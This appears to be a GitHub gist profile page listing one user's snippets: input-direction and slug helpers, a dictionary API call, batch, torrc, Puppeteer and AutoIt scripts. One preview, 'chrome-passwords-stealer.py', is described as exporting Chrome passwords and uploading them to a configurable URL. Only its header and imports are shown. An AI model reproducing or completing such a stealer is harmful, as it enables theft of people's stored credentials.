Skip to content

Instantly share code, notes, and snippets.

View AliMilani's full-sized avatar

Ali Milani AliMilani

View GitHub Profile
@AliMilani
AliMilani / input-rtl-fix.js
Created February 4, 2022 07:04
input-rtl-direction-fixer
document.addEventListener(
"input",
function (e) {
e = e || window.event;
const target = e.target || e.srcElement;
const isFarsi = /^[\u0600-\u06FF\s]+$/.test(target.value.split(" ")[0]);
const hasDirection = target.style.cssText.includes("direction");
if (
!(target.style.direction == "rtl") &&
@AliMilani
AliMilani / dictionary-api.js
Last active February 4, 2022 07:31
Google dictionary chrome extension api
var request = require("request");
var options = {
method: 'GET',
gzip: true,
url: 'https://content-dictionaryextension-pa.googleapis.com/v1/dictionaryExtensionData',
qs:
{ term: 'game',
language: 'en',
corpus: 'en-US',
@echo off
@REM Author: Ali Milani
@REM Description: wait for internet connection and then run the command
@REM GitHub gist: https://gist.github.com/AliMilani/261d2890ed72227d0f23ddfcbb6a9296
@REM minimize the window
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
:loop
[start global]
fara
dars
learn
iran
aval
ba
online
digi
web
@AliMilani
AliMilani / torrc
Last active March 7, 2022 14:25
simple torrc for tor-win64 in https://dist.torproject.org/torbrowser
# torrc-defaults for Tor Browser
#
# DO NOT EDIT THIS FILE
#
# This file is distributed with Tor Browser and SHOULD NOT be modified (it
# may be overwritten during the next Tor Browser update). To customize your
# Tor configuration, shut down Tor Browser and edit the torrc file.
#
# If non-zero, try to write to disk less frequently than we would otherwise.
AvoidDiskWrites 1
@AliMilani
AliMilani / use extensions.js
Last active March 7, 2022 14:16
puppeteer_gist
const puppeteer = require("puppeteer"); // npm i puppeteer
// create extensions folder
const extensionPath = __dirname + "/extensions/";
// you can download and install chrome extension from https://chrome.google.com/webstore
// go to chrome://extensions/ and find extension ID for example ID: gcicgomacfgljamhdagkgjdomjfepaeh
// find it on C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default\Extensions
// copy the extension folder to your /extensions/ Folder
const firstExtension = `${extensionPath}/cfohepagpmnodfdmjliccbbigdkfcgia/2.4.0_0`;
@AliMilani
AliMilani / chrome-passwords-stealer.py
Last active March 21, 2022 08:31
export chrome passwords and upload it
# Please visit ==> https://www.thepythoncode.com/article/extract-chrome-passwords-python
# update http://domain.com/upload.php in line 91
# I made small changes to it
import os
import json
import base64
from time import sleep
import sqlite3
import win32crypt
#include <Array.au3>
#include <AutoItConstants.au3>
#include <StringConstants.au3>
;~ _NOTE:
;~ ----------------------------------------------------------------------------
;~ Get Program by vendor name
;~ wmic product where "Vendor like '%Microsoft%'" get Name,Version
;~ Uninstall program by name
@AliMilani
AliMilani / Extensions.md
Last active April 5, 2022 11:33
Visual Studio Extensions

Visual Studio Extensions


Extensions


Extension Marketplace Github
@AliMilani
AliMilani / slug.js
Last active September 5, 2022 12:51
// const sample = " -گچپژ '۴', '۵', '۶', '۷', '۸', '۹AWSD@RWAD#t336--------23res شصیشصی 3ق131ق صشیشٌٌَََِِِص(_َ(ٌٌَِ__)ٌ(ّ)_]#«ّ['١', '٢', '٣', '٤', '٥', '٦', '٧', '٨«ً#)+]!«(]«#ريالٌ[ٍ«ّ:ٌَ»ٌءِ:»یصچش"
// const sample = '٠۶۶٠ ۶۶٠6 ٨ ٩List_of_Un icعبدلode۹_۹ch٠ ara c۹ ters'
const makeSlug = (text) => {
let slug = text
// select only persian, arabic, english letters and numbers
.replace(
/[^\w\s\-|\u0621-\u064A\u0660-\u0669\u06F0-\u06F9|\u06Af|\u067E|\u0698|\u0686|\u06CC|\u06A9|\u200C]/g,
''
)
// remove extra hyphens and spaces